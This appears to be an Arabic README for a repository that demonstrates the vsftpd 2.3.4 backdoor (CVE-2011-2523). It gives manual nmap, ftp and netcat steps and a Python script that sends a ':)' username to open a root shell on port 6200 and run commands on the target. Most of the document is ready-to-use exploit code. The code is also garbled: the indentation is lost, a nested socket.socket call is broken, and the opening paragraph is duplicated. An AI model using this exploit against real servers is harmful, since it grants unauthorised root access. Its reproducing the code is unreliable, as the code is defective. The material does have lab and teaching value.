
vsftpd 2.3.4 (CVE-2011-2523) هي ثغرة أمنية حرجة تؤدي إلى الحصول على شل جذر عكسي. في هذا المستودع سأقوم بعمل إثبات للمفهوم (PoC) لكيفية استغلالها خطوة بخطوة، يدويًا وتلقائيًا (باستخدام Python) لأغراض تعليمية.
vsftpd 2.3.4 (CVE-2011-2523) هي ثغرة حرجة تؤدي إلى Root Shell. في هذا المستودع سأقوم بتقديم Proof of Concept لكيفية استغلالها خطوة بخطوة، يدويًا وآليًا (باستخدام Python) لأغراض تعليمية.
ما هي الثغرة؟
أولًا، هي استغلال من جانب الخادم (server-side) لذا سنقوم باستغلالها عن بُعد. الفكرة هي أنه عند الاتصال بخدمة FTP على المنفذ 21 بشكل افتراضي باستخدام اسم مستخدم يحتوي على :) سيؤدي ذلك إلى تشغيل النظام لفتح منفذ TCP 6200 مع Root Shell، بحيث يمكن لأي شخص الاتصال به والحصول على صلاحيات الجذر (Root) على الخادم الهدف، وهو أمر كارثي. لذا دعونا نقوم بذلك عمليًا خطوة بخطوة. سأشرح ذلك يدويًا أولاً للحصول على الفكرة الكاملة، ثم يوجد سكربت Python لاستغلالها تلقائيًا.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
المنفذ 6200 مفتوح الآن، لذا هذا هو بابنا الخلفي
nc -nv Target_IP 6200
أخيرًا، حصلنا على Root Shell على الجهاز الهدف.

بعد أن قمنا بذلك يدويًا، نعرف خطوات الاستغلال:
:) لتفعيل الباب الخلفي.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()